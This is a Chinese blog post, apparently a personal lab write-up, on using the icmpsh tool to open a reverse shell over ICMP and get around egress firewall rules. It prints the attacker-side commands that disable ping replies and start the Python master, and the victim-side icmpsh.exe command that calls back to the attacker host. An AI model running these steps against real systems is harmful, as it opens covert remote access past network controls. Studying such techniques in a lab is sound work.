• 反向icmp_shell


    前言

    很老的一个技术了,学习下。

    ICMP协议工作方式简介

    Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

    网络层中的ICMP包

     Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活

    场景介绍

    有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。

    当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。

    然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而ICMP就是这个工具的重点。icmpsh是一个简单的 reverse ICMP shell,

    它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。

    它比其他类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。该工具简洁,方便和便于携带(跨平台)。

    此脚本主要是针对windows的,他是一个C/S架构:slave(客户端)它是用C写的只能在windows上运行,

    master(服务器)是跨平台的,作者将C和Perl已经移植到Python上了。

    详细使用方法请参考:

    https://github.com/inquisb/icmpsh#usage

    本地实验

    hacked:192.168.41.128

    hacker:192.168.41.136

    首先在受害者机器上,我用防火墙设置了一条出站规则,协议类型是TCP,端口是6060

    我们在kali上用python2.7起一个在6060端口运行的服务器

    80端口起的是apache服务器

    本机访问

    然后用靶机访问指定端口测试,出站规则是否正常

    不指定默认,访问80端口

    这里只是验证一下,说明一下如果服务器设置了出口访问控制列表的话,可以通过icmp协议完成一个reverse icmp shell。

    kali:

    使用第一条命令来关闭ping回复,这样可以防止内核自己对ping包进行响应,单单的用攻击者

    sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null
    python icmpsh_m.py 192.168.41.136 192.168.41.128
    #python icmpsh_m.py 攻击者ip 受害者ip

    这里提示错误,看了下py文件

    然后kali没有pip,就很无语。参考https://www.cnblogs.com/foe0/p/12217108.html

    下的贼慢,然后安装一个包又贼慢,然后新版kali没装vxxxy又去配置去了,这一连串。

    windows:

    icmpsh.exe -t 192.168.41.136 -d 500 -b 30 -s 128

    执行whoami

  • 相关阅读:
    ES6中的新特性
    怎样优化CPU
    es6 一些小知识
    ECMAScript有6种继承方式(实现继承)
    angula的factory service provider
    angular的继承作用域通信
    MVP和MVC的区别
    判断浏览器版本语句大全
    IScroll5+在ios、android点击(click)事件不兼容解决方法
    css中单位px和em,rem的区别
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12741257.html
Copyright © 2020-2023  润新知